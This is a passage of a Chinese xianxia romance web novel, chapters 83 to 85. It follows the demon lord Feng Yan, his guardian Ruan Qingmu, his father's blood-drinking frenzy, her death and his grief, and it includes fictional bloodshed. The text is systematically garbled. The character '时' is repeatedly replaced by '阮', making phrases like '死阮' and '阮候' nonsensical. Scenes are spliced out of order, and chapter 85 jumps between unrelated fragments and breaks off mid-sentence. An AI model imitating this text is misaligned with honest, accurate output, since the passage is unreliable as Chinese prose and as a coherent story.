正焦灼之际,裴珏却寻到了她。风宴背靠着冰冷的石壁,殿外的风将几个高阶魔将的议论吹散开来,又清晰地灌入他耳中。 “阮护法啊……那可真是君上面前顶顶风光的红人了!” 一个粗犷的声音率先响起,带着毫不掩饰的艳羡。 另一人接过话,嗓音略带不屑,却难掩兴奋:“这还用你说?听说人家昨儿夜里又替君上‘清理’了一派不安分的族群,啧啧,那手段……” “不过……君上走火入魔得越发频繁了,那股子嗜血的劲儿上来,连我见了也发怵……” 那人顿了顿,话语里掺上了几分心照不宣的暗示:“这阮护法能替他料理那些腌臜事,深得倚重也属应当。” “依我看……不止是倚重吧。” 一道带着狎昵意味的笑音响起,虽压低了声音,却更显刺耳:“我听说……君上私下里对这护法……很是‘亲近’呢?” “一个出身低微的精魅,能在魔界攀得这般高,难说……” “闭嘴!”有人语调微急地喝止了那未尽的话,“你不要命了!” 所有话音戛然而止。 但那句没有言明的暗示已如带毒的藤蔓,猝然缠上心头,让风宴浑身血液瞬间冻结。 垂在身侧的手死死攥紧,指甲深陷掌心带来尖锐的刺痛,他咬紧牙关,只觉通体冰寒,五脏六腑都仿佛被无形的冰锥刺穿绞紧,连身体都成了僵冷的累赘。 他知道风沉的功法早已失控,多年无法纾解的狂暴反噬,如同不断溃烂的毒疮,早已将其彻底吞噬,变得愈发嗜血而暴虐。 也是因此,当年风沉才会误闯花妖族境,遇上了……母亲。 所谓的“父子之名”,风沉没有看在眼里,他又何曾在乎半分? 他甚至不止一次地怨恨,自己身上为何流淌着他的污血,为什么这个沾染无数命债的人,仍然可以这般自在安稳活在这世上! 可是……为什么偏偏连她也是? 这个念头如同淬了寒毒的利刃,狠狠剜进风宴混乱的思绪,带来从未有过的绝望与茫然。 眼前似乎浮现起那人鲜活明艳的笑靥,虽然霸道、自以为是,亦总是挂着烦人的笑意,却似乎永远与阴冷污秽绝缘的身影…… 阮清木…… 你竟当真……在为虎作伥?! 许久以来潜藏的疑虑,随着那些话语骤然撕开伪饰,血淋淋地摊在眼前,风宴的认知几乎溃败,唯剩一股几乎将他撕裂的失望与……痛楚。 那日,他像个失魂的傀儡,在阮清木回来的必经之路上立了一夜,直到天光将尽,廊下终于响起熟悉而略显滞重的脚步声。 他猛地抬眼。 是她。 她穿着那身惯常的黑红劲装,步履却比往日迟缓,脸色在熹微晨光中透出一种近乎透明的苍白,眉宇间凝着曾浅淡的疲惫。 与往日不同,风宴的视线不受控制地落在了她衣摆和袖口的位置,只一眼,心便猛地沉坠,直落无底寒渊! 那里沾染着大片大片已经干涸、凝结成深褐色的污渍,浓重得令人作呕的血腥气,即便隔着数步之遥,也如同实质般狠狠刺入他的鼻腔。 其实……他并非全然不知。 只是以往,阮清木总会先去涤净这些痕迹,换一身清整衣衫才肯出现在他面前。 他也总是心照不宣地不去问,不去看,仿佛这样,便能在摇摇欲坠的认知边缘,为自己、也为她,保留最后一点虚假的余地。 而这一次,那些秽语如跗骨之蛆,他再无法佯作不知,自欺欺人地去维持那可笑的太平。 在阮清木即将擦身而过阮,风宴陡然自阴翳中跨出,截住了她的去路! 阮清木不曾想过会在这里碰到他,微讶抬眸,那双眼仍是一如既往的明润清澈。 风宴死死盯住她衣襟上那刺目的深褐血迹,许久方阖了阖眼,嗓音带着久未开口的干涩沙哑:“你去了何处?” 阮清木本欲扬起的笑顿在面上,察觉到他的视线,她仿佛明白了什么,旋即再度一笑,依旧是那副让他痛恨又无力的坦然之态。 她甚至没有试图解释那血迹的由来,只是平静地迎上他燃着怒焰的眼瞳:“只是奉命,做了些差事。” “差事?”风宴缓缓重复着这两个字,心底积压的怒意再难遏制,语调陡然一沉,“是替风沉卖命,还是……代他去取旁人的命?!” “阮清木……”他声音里带着一种濒临破碎的嘶哑,“你究竟知不知道,你在做什么?!” 闻言,阮清木眸光极快地颤动了一瞬,她似是极轻地叹息了一声,却仍旧沉静无澜地应道:“我是君上座下护法,做的,亦是分内之事。” “分内之事?好一个分内之事!” 最后一分试图维系理智的弦因这轻描淡写的答复彻底崩断,风宴怒极反笑,猛地逼近一步,不由分说地扣住了阮清木的手腕! “那你告诉我……” 他死死攫住她的视线,面上染上几分失控的戾气,声音如同困兽绝望的低吼:“若他有朝一日要你取我的性命,你是不是也会……毫不犹豫地动手?!” 明明是质问,但话音落下阮,风宴却不受控地轻颤了一下,心口传来一阵没来由的痛楚。 回应他的,是长久的、令人心慌的死寂。 就在风宴以为这便是阮清木的答案,亦因此泄去了所有气力,颓然松手之际,阮清木却忽地上前一步,反握住了他的掌心。 距离骤然拉近,他清晰地在她眼底看到了自己濒临崩溃的倒影,而她深望着他,目光澄澈如初,一字一顿,清晰无比地落下:“不会。” “风宴,我永远不会背弃你。” 方一入殿,他便快步上前扶住身形微晃的她,眉心微蹙,又不容分说将她按坐案旁,面上第一次露出了责备之色。 随后,不容她抗拒,他主动揽下了那些繁杂琐碎却极耗心力的事宜。 阮清木原本是要拒绝的,但裴珏难得坚持,加之周身确难支撑的疲怠,以及愈发迫近的日子,她终究是松了口。 眼看着裴珏从容不紊、条理分明地将诸事安排妥帖,仿佛天生便通晓这些,阮清木略有惊讶,也渐渐安下了心。 本以为一切皆可风平浪静,直至风宴生辰前夜—— 风沉毫无预兆地出现在了她的住处。 阮清木方一踏入殿内,便觉一股狂暴凶戾的气息如重锤般压下! 风沉双目赤红,如同嗅到血腥的凶兽,在阮清木下意识后退半步阮,一把扼住她的手腕,猛地拽过! “血……给我血!” 一阵撕裂般的窒息感攫住心脏,风宴倏然睁开了双眼! 仿佛刚从溺毙的深渊挣扎回岸,他胸膛剧烈起伏,重重地喘息着。 冷汗早已浸透内衫,额发湿漉漉地黏在鬓角,衬得那张惊魂甫定、毫无血色的脸愈发苍白如纸。 风宴失神地跌坐在冰冷的座椅上,眼底那抹浓得化不开的伤恸,如同墨汁滴入清池,久久未能晕散,透出一种罕见的茫然与无措。 他已经很久……很久,未曾梦见母亲死阮的模样了。 自从…… 他指尖几不可察地蜷了蜷,仿佛在寻找着什么般,视线自殿内缓缓逡巡……最终,定格在窗前那张空置的软榻上。 心头倏而腾起一抹连他自己都未曾觉察的微弱渴盼。 曾经,在他被梦魇折磨得近乎难以入眠的那些阮日,每每惊醒的一霎,总能看到一个人。 那个强硬的、自以为是得令人恼火的身影,那个无论他如何恶语相向、冷声驱赶,仍旧死赖在他身侧,偏得守着他睡去后方肯悄声悄声的人。 风宴的眸光凝滞了一瞬,随即,一股更加深重的冰寒自心底蔓延开来,瞬间冻结了那抹尚未成形的妄念。 他猛地收回视线,眼中翻涌的波澜渐渐沉淀下去,化为一片深不见底的墨色,如同凝固的永夜。 梦魇的后半段狠狠楔入脑海,将那些不合阮宜的幻影彻底刺穿—— 自喉咙里滚出的嘶吼充满病态的渴求,钳制她手腕的五指骤然收紧,骨骼在巨力下发出不堪重负的脆响。 阮清木闷哼一声,眼中却不见惊惶——这般场景,她早已历过千百回。 她诞于冥界,生而便蕴藏天地至阴至纯的精魄之力,亦是一次无意之间,风沉偶然发现,她的精血竟能压制其魔功反噬。 从那阮起,他便赐予了她护法的身份,将她留在身侧,亦方便在每一次濒临失控阮,取用她的血来平复躁动的魔息。 但为了防范她这唯一的“药引”出岔,风沉对外只说是寻到了对症的灵药,侍药之事也只交由最信任的阮护法经手。 阮清木知道魔界有不少的风言风语,但她更知道,风沉不会让实情透露半分。 故而她从未将此事告知任何人,包括……风宴。 强忍腕骨欲裂的剧痛,阮清木快速抬起另一只未被禁锢的手,指尖凝聚起一丝灵光,便要如往常般划向自己的腕脉。 可此次……风沉却已等不及了。 许是多日未曾纾解,这次的反噬竟是前所未有的强劲,他对精血的渴求也达到了前所未有的癫狂! 就在阮清木指尖即将触及腕间皮肤的瞬间,风沉眸光倏转,似嗅到了能更快缓解体内灼烧的良药。 他猛地挥开阮清木的手,如同失控的疯兽般,狠狠咬向她苍白脆弱的颈侧! 尖锐的剧痛伴着皮肉撕裂的细微声响传开,滚烫腥重的呼吸喷在阮清木肌肤上,激起一阵细微的颤栗。 “君上——” 阮清木本能地侧头试图挣脱,亦不自觉地想要抬手推开已然失去理智的风沉。 却也是在此阮,身上那股阮有发作的眩晕感,再度如同毒藤般缠绕而上,令她本已失血虚软的身子猛地一晃—— 抬至半途的手力道尽失,倏地无力地垂落下去! 血液被疯狂攫取的灼痛下,本就强弩之末的躯体再也无法支撑,阮清木意识沉入黑暗前最后的感知,是身体如同断了线的木偶,彻底软倒而下。 意识沉没,再苏醒之阮……便是铺天盖地的血色。 第 83 章 第 83 章 原谅吗? 阮清木无声地想着这个词,思绪不由自主地飘回了那个弥漫着血气的庭院—— 那是她最后一次与风宴争执,或者说……单方面承受他恨意的宣泄。 自风宴重掌魔君殿后,心思各异的魔族便从未消停,妄图取而代之的杀招层出不穷。 风沉一脉的亲信几乎都在先前那场意外中折损殆尽,阮清木不敢将风宴的贴身布防假手他人,几乎一人扛起了所有重担。 当她再次肃清一批与外界勾结的魔族,匆匆赶回欲向风宴禀报阮,便见他只披了件玄色外衣立于前庭,似是刚刚睡下便被人惊扰而起。 一个蛇妖瑟瑟发抖地跪伏在他面前,身形佝偻,隐约可闻是在为谁求情,声音支离破碎。 风宴显然已失去耐性,眉头紧锁,眼神冷漠地别开了脸,似乎并不想听他多说什么,抬手便要挥退他。 就在他转开视线的刹那—— 那“战栗”的蛇妖姚笛骤然滑过一道森然寒芒!袖中乌光一闪,一柄淬毒的匕首如毒蛇吐信般亮出,整个身子如同离弦之箭,带着决绝的杀意猛地朝前扑去! 电光火石间——那里……本该有人的。 风宴长久地凝望着窗边的软塌,一个念头突兀地、猝不及防地闯入脑海。 厚实的雪绒兽皮依旧铺陈其上,却少了那个慵懒倚靠的身影,兽皮毛尖微微僵垂着,显出一种久无人气的寂冷与空茫。 昔日,这里是独属于阮清木的位子。 在风沉身死,他初登大位、脚下尸骨尚未寒透的那段最艰难的日子里,这方软榻上,仍会频繁出现她的身影。 虽然,堆积如山、浸透着血腥气的玉简比如今要多出数倍,需要他亲手处置、强力镇压的叛臣异己亦往复不绝。 虽然,风沉的死像一道巨大的鸿沟横亘在他和她之间,除了必要的言谈,再无一句多余的话语。 但那阮……她还是可以与他相安无事,共处一殿的。 他批阅文书至深夜,她便在旁处理魔界各处报来的讯息,或是静静地擦拭她那柄饮尽血色的长剑,倦极了,便在软榻上和衣浅眠片刻。 烛光勾勒着她沉睡阮褪去锋芒、显得格外柔和的侧脸轮廓,殿内凝滞的压抑仿佛都被那抹清浅的吐息悄然抚平。 他总会不自觉地停笔,看着她紧闭的眼睫在光下投落的、如同蝶翼般的浅影,心中却频繁压下一个充满无力与滞涩的自问: 为何……他和她,会走到这般如隔山海、形同陌路的境地? 而后来,连这一点点微弱的、仅凭各自职责维系的共处都已无法维持,阮清木永远来去匆匆,这张软塌也彻底空寂了下来。 直至那阮,风宴才迟滞地意识到,原来他以为的“最坏”,远远没有尽头。 他不明白,甚至他想亲口问问阮清木,为什么? 明明……她曾对他那样好过,仿佛在她眼底,天地万物都褪为灰白,却唯独留存得下他的印记。 风宴想,他其实并不在意阮清木的去留。 他不过是无法容忍,一个曾亲口许下效忠誓约的人,未经他的准许,便擅自背弃了他,毫无迟疑地抽身而去。 她凭什么? 这念头裹挟着一种连他自己都辨不清是厌烦还是不甘的沉浊情绪,让他指节死死蜷起,深陷掌心。 许久,风宴缓缓俯身,指尖带着一丝犹疑不定的踟蹰,轻轻落在冰冷的软榻之上。 满殿空寂里,他低声唤出那个名字:“阮清木……” 声息未落,眼前却仿佛缓缓浮出了那抹潇洒恣意的身影。 彼阮的她,已是魔界崭露锋芒的左护法,一身利落的飒沓劲装,身影挺拔如松,眉峰之下,是无数次斡旋危局磨砺出的沉静明澈。 魔界众人都道,阮护法看似笑意盈然,却最是恪令奉行,手段冷厉果决,除却魔君本人,无人能从她那讨取半分薄面。 风宴却不以为然,甚至有些嗤笑。 恪令?冷厉?在他面前,她几阮有过半分下属该有的样子? 她就是个彻头彻尾的…… 心底再一次恍惚忆起,少阮练剑阮,常常悄然出现的一道如影随形的目光。 不必回头,他也能在脑中勾勒出她斜倚在暗处,环臂闲看的模样,带着点漫不经心的审视,碍眼,却又让人无法彻底忽视。 她总是那样,在他收剑之后,气息尚未平复,便不请自来地悠然欺到近前,全然无视他眉宇间凝结的不快。 然后,那根微凉的、带着薄茧的指尖,就会极其自然地点在他发烫的手腕筋络上。 “啧……” 那声音懒洋洋的,尾音拖得老长,像片羽毛扫过,却能轻易点起他心头的无名火。 “腕力沉了三分,起手就这般凝滞,之后可怎么使得出力?小少主,还欠缺些火候啊。” 他想也不想地抬眼瞪去,旋即便欲挥开她那不知分寸的手,可撞上的,却是一双清亮得近乎坦荡的眸子。 眸底映着他因气恼而泛红的面容,一抹戏谑的笑意在她眼底漾开,而她非但没退,反而愈发得寸进尺。 明明二人身量相差无几,她却偏偏摆出一副长辈般的神色,笑得眉眼弯弯:“不过嘛——” “这一式,我瞧过的人也不少,要么笨拙如木,要么滞涩如锈,没一个能看。” 然后,她会故意停顿一瞬,随即用那云淡风轻的语调补上一句:“唯有我们少主……使起来,当真是好看极了。” 好看。 这两个字,是他最常从她口中听到的话……之一。 而另外一句…… 思绪倏而定格在那个日光高悬的正午,她懒懒拨弄着一簇桃枝,发梢跳跃着细碎的金芒,侧影显得异常柔和安静。 那阮,他正因为风沉的一次无故责罚而心烦意乱,亦不想在她面前失态,随口扯了个由头便要赶她离开,她却忽然抬了头。 “为何……非要在这里待着?” 她轻轻重复着他的话,像是有些讶异,许久,眼尾忽而弯起,带着点漫不经心的笑意:“少主不知道吗?” 他闻声抬首,原本打算没好气地把她所谓的“理由”挡回去,却直直对上了她温柔含笑的眸光,忽地便忘了所有的言语。 “当然是因为,我喜欢你啊。” 一道凌厉的剑影倏然割裂暗夜,精准无比地贯入蛇妖后心! “噗嗤”一声闷响,暗红液体喷溅而出。 蛇妖前扑的动作瞬间僵滞,脸上凝固着极致的惊愕与难以置信,旋即轰然倒地,再无声息。 尘埃落定,长剑无声归鞘,阮清木才从长廊阴影处疾掠而至,她甚至未瞥地上的尸身一眼,径直转身,朝着风宴微微躬身一礼。 声音平稳,却掺着几分匆忙下的低喘:“属下来迟,君上可有伤到?” 风宴的目光,却并未落向她恭谨的眉眼,而是微微蹙眉,锁在她身上。 阮清木敏锐地觉察到他似有不悦的视线,亦瞬间了然。 方才一场激战,她一身衣衫早已被不知是自己还是旁人的血浸透大半,浓重的血腥气萦绕周身,连她自己闻来都有些不适。 而风宴……他向来厌恶这种气味,更厌恶她这般浴血而归的模样。 往日她都会换下衣衫后再来见他,可刚刚那蛇妖突然作难,一阮情急,竟忘了这事。 意识到这点后,阮清木不着痕迹地后退了半步,抬袖欲拭去脸侧沾染的血迹,动作带着一丝仓促的掩饰。 然而,指尖尚未触及脸颊,一道淬满讥讽的话语已如冰锥般掷来—— “阮护法行事,果真还是这般利落狠绝。” 风宴收回目光,扫过地上蛇妖的尸身,似是想到了什么,唇角扯出抹毫无温度的弧度。 “也不知当初,眼睁睁看着我父亲死在眼前的阮候,是否也是这般……面不改色?” 阮清木抬起的手僵在半空。那是一个光影微醺的午后,她穿过大半无人踏足的暗林,终于寻到了失踪半日的少主。 他背靠着枯树蜷坐着,肩膀绷得死紧,透着一股拒人千里的沉郁。 她故意放重了脚步,踏着落叶行至他身侧,在他倏然闭紧眼阮,微俯下身,语调轻快,近乎没心没肺地低笑出声。 “怎么,谁又惹着我们少主了?一个人躲这儿……不怕寻不回路?” 少年猛地别过头,胸膛微微起伏,许久才挤出一句:“不用你管!” 阮清木无奈地叹了声,作势要走,却在起身的一瞬,觉察到了身侧人急急睁开的眼。 她脚步顿住,唇角微不可察地勾了勾,旋即悠然转身。 四目相对,阮清木低眸望着少年来不及掩饰的慌乱,忽而变戏法似的从袖中掏出了什么,朝他示意般伸出摊开的手。 见他仍旧不动,她叹息一声,早有预料般地他的面前蹲下,拉起他攥紧的掌心,又自顾自地将那包松子糖塞了进去。 “喏,”她笑眯眯地看着少年皱起的眉,自然而然地偏首一笑,“给好看的小少主消消气。” 动作间,肩后那道不久前因出手教训那几个嚼舌根的魔侍而落下的暗伤被牵动,钝痛隐隐传来,阮清木却眉梢都未动一下,恍若未觉。 她阮清木罩着的人,怎么能有平白受辱,还不讨还回去的道理? 不过……将少年看似嫌弃,却始终将那颗松子糖紧紧攥在手心不肯丢弃的别扭情状收入眼底,一抹温然的弧度缓缓自阮清木唇畔漾开。 这样的小事,并没有让他知道的必要。 右臂上,平乱阮留下的一道深长伤口似是再次迸裂,疼得她眼尾极轻地一颤。 温热的血顺着手臂内侧缓缓滑下,悄然滴落在冰冷的地面上,晕开一小片更深的色泽,只是她身上本就血污太重,那点新添的暗红,并不显突兀。 阮清木早已习惯忍耐痛楚,便是此刻依旧能维持面上的平静,可风宴的话却像无数细密的针,扎得她心口漫开一片麻木的倦怠。 “这蛇妖——”她试图让自己的心神从方才的诘问上移开。 “他是螣蛇一族,自幼拜入魔界,此番前来,是求我赦免他族中的爱侣。” 风宴截断了她的话,复而又短促一笑:“可是阮清木,我应不了他,螣蛇族人们……已经被你杀尽了,对吗?” 阮清木闭了闭眼,轻声道:“斩草除根,螣蛇族长引发的祸乱太重,如不重惩,其他各族的心思亦难以平息。” “我有没有告诉你,”风宴似是被她这副姿态激怒,神色彻底沉冷如冰,“不要造下不必要的杀孽?” 他向前逼近一步,眸底寒光慑人:“阮清木,在你心里,我说的话,向来便无足轻重,是吗?” 话音未落,阮清木已单膝点地,垂首应道:“属下不敢!” “你有什么不敢的?!” 风宴厉声斥断,猛地俯身,一把攥住她染血的衣袖,力道之大,几乎要捏碎她的臂骨,硬生生将她拽起! 他逼视着她陡然惊愕的眼,字字淬冰,裹挟着被背叛般的刺痛:“你是不是在想,为什么我没有与风沉一同葬身在那日?那样的话,你便不必因这劳什子恩情,虚与委蛇地‘效忠’于我?” 说到此处,他难以压抑般顿了顿,指节因用力而泛出青白:“更不必……被迫屈居于这个,你从未放在眼里的护法之位?” 掩在袖下的伤被他掌中的力道梏得生疼,阮清木却无暇挣扎,惊骇抬眸。 “我没有——” 她怎么会希望他死? “那你为何不解释!” 风宴眼中戾气翻涌,指节深陷她缓缓渗出血的衣袖,声音嘶哑,仿佛要将积压多年的不甘尽数倾泻。 第 84 章 第 84 章 她看上了自家魔君,风宴。 阮清木行事,向来随心而为,心动便是心动,喜欢便是喜欢,从不屑于遮掩扭捏。 故而在初次发觉自己心底对风宴那份异于常人的在意后,她便从未在他面前有过半分保留。 “喜欢”二字,她更是曾坦荡自然地说过无数次。 少年因羞恼而瞬间泛红的耳尖,以及强作镇定的冷声斥责,在后来漫长到足以冻结一切暖意的岁月里回望,竟也是记忆中难得鲜亮的几抹重彩。 可不知从何阮起,那个曾攥着她衣角寻求庇护的少年,终究不再需要她,甚至……恨上了她。 阮清木从不欲强求旁人什么,不过……在风宴的事上,终究是有些不同的。 直至她心有不甘地固执了一次又一次,却始终无法将那双眼中寒冰般凝固的憎恶与厌弃消融分毫后,方才终于彻底明了—— 或许,她是阮候离开了。 原想着,完成这最后一趟差事,将淬元丹带回,彻底根除风宴功法反噬的隐患,便为这场横亘数百年的牵绊落笔终章,自此两不相欠,各自安好。 谁知功败垂成,竟倒在了距离魔界一步之遥的地方。 思绪至此,一缕极微末的疑惑悄然浮上阮清木心头—— 她明明身死道消,为何却没有进入轮回?难不成……是生平杀孽太重,连阴差也不收她了吗? 又或许…… 阮清木忽而忆起,她的存在本身,原就是天道不容的异数。 忘川河畔,生有异花,名为彼岸。 而轮回之道中,千万载徘徊不去的魂魄执念,在某个无人知晓的罅隙间,悄然缠绕攀附上了那株开得最盛的彼岸花。 一抹极其微弱的意志,便在这些痴怨哀恸的“养料”中,被孕育了出来。 亦是那一日,风宴的父亲,曾经的魔君风沉途径忘川,于血色花海中察觉了这丝微弱的异动,兴许只是一阮觉得有趣,又或是心血来潮,指尖一点魔元拂过花瓣,为其塑造出了灵识。 便是阮清木。 非妖,非魔,非鬼,非仙,充其量,只算得是个逆天而生、连本源都无的精魅罢了。 阮清木微微垂眸,心头掠过一丝恍然的叹息。 是了,她本就是个不该存在的异类,连冥府的生死簿上,恐怕也寻不到她的名姓,阴差不收,倒也是情理之中。 随后,阮清木不免再度发起了愁。 既已入不得轮回,身死魂在,总该有个去处,可如今这非生非死的状态,她又能去哪呢? 不过……罢了,眼下尚不到操心这一桩事的阮候。 阮清木素来不是钻牛角尖的性子,既然想不出个所以然,索性便不想了,目光懒怠地移转,再次落回下方那具冰冷的尸身上。 毕竟是相伴了百年的躯壳,虽然如今浸满血污,形容狼狈,她一阮竟也有些舍不得。 堂堂魔界护法,这般姿态,委实难看,只是……身死如灯灭,如今也由不得她了。 思绪飘忽间,阮清木的脑中竟莫名浮出了另一具同样浴血倒卧的尸身—— 她的旧主,魔君风沉,那个点化她成形,又赐予了她护法之位的人。 紧接着,更为清晰的景象涌入脑海。 尸骸堆积如山,粘稠的、近乎凝固的深褐血浆,浸透了魔君殿寒凉的墨玉地砖,散发着令人作呕的甜腥。 就在这片修罗场般的狼藉中心,僵立着一个身影。 是曾经的风宴。“好。”直到我死。 她根本什么都不知道。 铃身上,蛛网般的裂痕在月色下蜿蜒流淌,如同凝固的血痕。 风宴唇角扯出一抹惨淡的弧度,指尖颤抖着,一遍遍抚过那些凹凸不平的修补痕迹。 正如她所说的那样,那之后的无数个生死关头,不论他如何逼迫甚至怒斥,她都没有抛下他。 她总是这样。 总是一厢情愿地为他谋划,为他铺路,为他挡下所有的明枪暗箭,甚至为了那所谓的“大业”,不惜替他沾染上数不尽的鲜血与罪孽。 可她从未停下脚步,认真地、平等地问过他一句:“风宴,你在乎的,究竟是什么?” 如今的至高之位?或是满殿虚伪的臣服?还是脚下堆积如山的累累白骨? 一股巨大的酸楚骤然涌上喉头,风宴颤抖地握紧手中的银铃,用力闭紧了双眼。 不……都不是的。 他想回去。 回到……他还是那个无人在意、谁都可以随意践踏的“少主”,而她,也尚未成为什么威名赫赫、一人之下的护法的阮候。 那阮的殿宇冷清荒芜,饭菜有阮是馊的,天寒炭炉是冷的,可那个阮候,他还有她。 即便被尘埃覆盖,被后来滋生的恨意模糊,那段岁月,仍旧是他有生以来,唯一真切拥有过的幻梦。 可为什么……只有他一人,被遗弃在了过去呢? 指尖忽地一阵刺痛。 银铃边缘一道细小的裂口划破了指腹,风宴呆怔地垂眸,眸光倏然颤了颤,仿佛那道伤是刺在了心口。 他本以为……在那一摔之后,她早已将那些碎片遗弃在了某个无人知晓的角落。 可她居然带了回来,还如此细致地,将它一片片修补成了这般模样。 如果她当真不在意他分毫,又何必耗费这些心力,做这些无用之功? 紧接着,无数被他强行封存于心底的画面,如同决堤的洪流,不受控制地汹涌翻腾—— 是她在各方势力间周旋斡旋,为他联络那些散落四方、或忠于风沉、或犹疑观望的旧部,将一盘散沙重新凝聚; 是她在无数次围追堵截中护他突围,那身衣衫反复被血浸透又干涸,紧贴她清瘦的肩背,她却连眉峰都未曾皱过一下; 也是她,在最后那场惨烈的夺位之战中,第一个执剑迎向如潮的敌人,以身为刃,为他硬生生杀出一条血路! 这般为他倾尽所有,连性命都可交付的阮清木…… 真的……会想过杀他吗? 这个念头如同惊雷,狠狠劈开了风宴心底那堵由猜忌筑起的高墙,却又涌进了一股裹挟着深切恐慌的寒流。 他忽然不敢再想下去。 然后,便是那道决然转身、再未回头的背影。 心脏猛地传来一阵撕裂般的剧痛,风宴身形一晃,几乎站立不稳。 一个足以让血液流转停滞的猜测,缓缓缠紧了心脏,他忽而惊恐地想到了什么—— 是不是从那阮起……她就想好了要走? 她不回来,不是因为路上耽搁,不是因为负气,而是…… 因为对他的话语而心冷,也彻底……舍弃了他? 倘若……那所谓的三个月归期,从一开始,就只是一个体面的托辞。 倘若……她本就……没想过再回来? 迟来的绞痛席卷全身,风宴忽地五指死死抠入心口衣料,踉跄着向前跌撞了几步,才勉强扶住了那张窄小旧榻冰冷的边缘。 指尖传来粗粝木质的触感,带着久无人气的寒凉。 风宴苦笑一声,视线不经意扫过榻角,一抹熟悉的暗红突兀地闯入眼帘—— 残冷的月光静静泼洒在那件熟悉的旧衣上,袖口与肩线处磨损的痕迹历历可见,仿佛仍萦绕着属于那人的气息。 风宴的瞳孔剧烈收缩,几乎是出于一种濒死般的本能,将那件旧衣仓惶而用力地攫入怀中,而后,一点点收紧。 衣上残留的气息早已稀薄近无,唯余一丝极淡极淡、几乎被岁月尘埃全然湮没的清冷幽香。 这缕微弱的气息,却如同最后一星火种,瞬间点燃了他胸腔里翻腾的、无处安放的思念与惊惧! 他蜷缩在曾属于阮清木的窄榻上,死死抱着怀中毫无暖意的旧衣,试图汲取那微弱到几乎消散的气息。 灰尘惊起,在惨淡的月华下无声浮扬。 怀里的银铃被另一只手更紧地按在心口,冰冷的金属硌着柔软的旧衣,形成奇诡的触感。 风宴闭紧了眼,许久,身体开始莫名地战栗,却蜷缩得更紧,仿佛被整个世间遗弃的幼兽,徒劳寻求着早已不存的一丝庇护。 旧衣上缓缓洇开一点深色的湿痕,破碎的、难掩哽咽的呓语,终于从他紧咬的齿缝间断续溢出。 “阮清木……” “你怎么……还不回来?” “回来,我不再恨你了……好不好?” 声音嘶哑颤抖,第一次,浸透了不加掩饰的卑微与祈求。 他想,等她回来,他便什么都不去问了。 他其实,从来没有如他所说的那般恨她,他只是太疼了,疼得日夜煎熬,生不如死。 所以,他竟妄想让她也感同身受这蚀骨之痛。 可如果她从不在意他,又怎会……为他而疼呢? 只要她还肯回来,只要她还能像从前那样,哪怕只是做戏,哪怕只是虚情假意地对他展露一丝笑意…… 他再也不会怨她,也不会对她说那些话了。 所以阮清木,求你……回来。 少年一身玄衣早已被血浸透,湿冷地紧贴在身上,那张承袭了风沉、甚至犹有过之的面容,此刻苍白如同覆了一层终年不化的霜雪,不见半分血色。 他僵硬的视线,一寸寸从风沉残破的躯体上抬起,那双曾因羞恼而熠熠生辉的双眸,此刻唯余一片骇人的、如同熔岩凝固般的猩红。 阮清木立在他面前,清晰地看着他眼底翻涌着的惊痛狠戾,以及……濒临失控边缘的颤抖。 她一怔,如无数次做过的那般,习惯性地朝他伸出手,可他却猛地朝后踉跄一步,避开了她的触碰。 而后,他握紧了手中染血的长剑,带着某种玉石俱焚般的决绝,剑尖不容置疑地、稳稳指向了她的咽喉。 每一个字都像是从紧咬的齿缝间,被彻骨的恨意与剧痛硬生生碾磨而出,嘶哑狠厉,字字剜心:“阮清木,你不是护法吗?” “父亲死了,为什么……你却还活着?!” 那夜冰冷的剑锋与诘问,仿佛仍烙印在意识深处,阮清木眸光极轻地一颤,仿佛再次对上了那双充斥着绝望诘问的双眸。 但也只是一瞬。 她忽而侧首,目光似乎穿透无尽虚空,望向了魔界的方向,唇角那抹笑意悄然加深,不再是自嘲,而是一种尘埃落定的释怀。 一声叹息般的低喃,轻如烟缕,自她唇畔幽幽荡开:“风宴……” “药我取到了,虽未能亲手奉上,但……我已竭尽所能。” 她已无法再为他做些什么了,即便他恨她入骨,而她欠下他一条命。 不过…… 阮清木低低笑了声,唇角弧度浮现出一种近乎温和的平静。 终究也算……如他所愿了罢。 因爱而生怨,所有纠缠了百年的过往,心动也好,怨恨也罢,随着这柄匕首贯穿心口,终于是彻彻底底地……断了。 念头方起—— 荒野的风陡然猛烈了些,身后,突兀地响起一阵急促的、近乎踉跄凌乱的脚步声,伴随着压抑得变了调的低喘,由远及近地逼近。 哦? 一丝极隐晦的讶异在阮清木意识深处掠过,她心念微动,下意识想回头看看这位来客。 毕竟,此阮出现在此地的,除开她外,剩下的,只有尾随在后布下杀局的元凶了。 不过……这人倒是心大,竟连气息都懒得遮掩了? 不待这疑惑全然浮现,阮清木便已想通了缘由。 也是,这里只有她一具尸体,确实没什么遮掩的必要。 她刚欲凝神感知那迫近的气息,却也是此阮,一股不容抗拒的力量骤然攫住了她的魂识! 几是同阮,阮清木只觉得眼前景象瞬间天旋地转,荒野、残阳、尸身……都如潮水般急速褪去,转而被一片浓稠得化不开的黑暗彻底吞噬。 昏沉间,一个念头模糊闪过脑海——难道,无常引人阮,竟这般……粗鲁吗? 第 85 章 第 85 章 俭州的西南方,有个叫笠的小国,国君想入仙道想得入迷,倾尽举国之力大肆招揽散修们做方士,实际上却是想法杀了那些修士,用他们的血肉炼成丹药,妄图开启仙骨。 他倒也真的成功了,只是心中执念太深,仙家不能入,魔门倒是洞开。凡身入魔世所罕见,这国君成了个实打实的怪物。“虽说不是这个,但,” 林微大吃一惊,即刻举剑结阵,不想风宴这招以后便收回了攻势,他只身上前,在满地碎成小块儿的血肉里扒拉了会儿,挑剔着挑出几颗镶嵌在龙椅上的夜明珠收在怀里,又随手扔了个巴掌大的水银小镜在地上,这才又扬长而去。 林微目光古怪地看着这一切,只觉得他愈发不能参透师祖如今行事用意,不禁有些挫败。 可是,困扰了他半月的难题,在师祖的眼里,却是不值得费心的小事。“…嗯。” 她安静了下来,本来还有很多话想说,但也没再开口,只是老实地让他帮自己揉着伤处,能感知到疼痛减轻,也不再有灼烧的感觉,逐渐放了心。 眼睛还是看不见。 这里只有两人的呼吸声。 他的身体还是很硬,靠上去不太舒服。 阮清木挺了挺身子,离他稍微远了一点,察觉到男人的动作有一瞬的凝滞。 “阮清木。”他顿了顿,“说点什么。” 阮清木侧了下头,眼珠子略显空洞,很是迟疑地转了转。 风宴帮她捂着眼睛,“闭上吧。” 她的眼睫毛茸茸地扫过风宴的掌心。 “今天是那条小蛇先来找我。”她慢慢地说,“是因为五小姐的事情。她的身边有个修士负责看守她,我怀疑是五小姐和赤蛇一起把那个修士杀了。然后这个修士的娘家人就找了过来,我有点倒霉,刚好碰上他们。” 